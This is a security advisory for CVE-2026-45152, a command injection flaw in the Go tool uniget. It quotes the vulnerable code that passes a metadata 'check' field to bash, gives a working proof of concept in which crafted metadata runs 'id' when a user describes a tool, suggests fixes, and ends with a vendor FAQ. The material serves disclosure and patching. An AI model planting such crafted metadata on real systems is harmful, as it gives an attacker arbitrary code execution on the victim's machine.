CVE-2026-45152

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.

A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed.

This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.

Details

The vulnerable code is located in:

tool.go:250

Vulnerable function:

func (tool *Tool) RunVersionCheck() (string, error) {
    cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
    version, err := cmd.Output()
    return string(version), nil
}

The issue occurs because the tool.Check field is populated directly from metadata JSON files without validation.

Related structure:

type Tool struct {
    Check string
}

Metadata loading uses json.Unmarshal() to populate the Tool struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.

Because /bin/bash -c is used, shell metacharacters such as ;, &&, |, $(), and backticks are interpreted by the shell, enabling arbitrary command injection.

PoC

Step 1, Verify the vulnerable binary:

/tmp/uniget-bin --version

Output:

uniget version main

Step 2, Create malicious metadata cache:

mkdir -p ~/.local/var/cache/uniget

cat > ~/.local/var/cache/uniget/metadata.json << 'EOF'
{
  "tools": [
    {
      "name": "evil-tool",
      "version": "1.0.0",
      "binary": "${target}/bin/evil-tool",
      "check": "echo '1.0.0'; id > /tmp/rce-proof.txt",
      "tags": ["test"],
      "description": "RCE test",
      "repository": "https://example.com",
      "license": {
        "name": "MIT",
        "link": "https://example.com"
      },
      "sources": [
        {
          "registry": "ghcr.io",
          "repository": "uniget-org/tools"
        }
      ]
    }
  ]
}
EOF

Step 3, Create placeholder binary:

mkdir -p ~/.local/usr/local/bin

cat > ~/.local/usr/local/bin/evil-tool << 'EOF'
#!/bin/bash
echo "placeholder"
EOF

chmod +x ~/.local/usr/local/bin/evil-tool

Step 4, Trigger the vulnerable workflow:

/tmp/uniget-bin describe evil-tool --prefix ~/.local

Application output:

Name: evil-tool
  Description: RCE test
  Repository: https://example.com
  Version: 1.0.0
  Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>

Step 5, Verify arbitrary command execution:

ls -la /tmp/rce-proof.txt
cat /tmp/rce-proof.txt

Actual output:

-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt

uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)

This confirms arbitrary command execution through the untrusted check field loaded from metadata.

Suggested Remediation

Avoid using /bin/bash -c with untrusted input.

Instead of:

exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")

consider executing fixed binaries and arguments directly without invoking a shell.

For example:

exec.Command(binary, "--version")

or sanitize and strictly validate allowed commands before execution.

Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.

This issue allows arbitrary command execution on systems running uniget when processing malicious metadata.

An attacker may be able to:

• Execute arbitrary shell commands
• Exfiltrate sensitive files or environment variables
• Install malware or backdoors
• Modify or delete accessible files
• Establish persistence on the victim machine
• Compromise CI/CD environments using uniget automation

Any user importing or processing attacker-controlled metadata may be impacted.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-45152 has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.27.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45152? CVE-2026-45152 is a high-severity OS command injection vulnerability in gitlab.com/uniget-org/cli (go), affecting versions < 0.27.1. It is fixed in 0.27.1. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-45152? CVE-2026-45152 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of gitlab.com/uniget-org/cli are affected by CVE-2026-45152? gitlab.com/uniget-org/cli (go) versions < 0.27.1 is affected.
4. Is there a fix for CVE-2026-45152? Yes. CVE-2026-45152 is fixed in 0.27.1. Upgrade to this version or later.
5. Is CVE-2026-45152 exploitable, and should I be worried? Whether CVE-2026-45152 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45152 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45152? Upgrade gitlab.com/uniget-org/cli to 0.27.1 or later.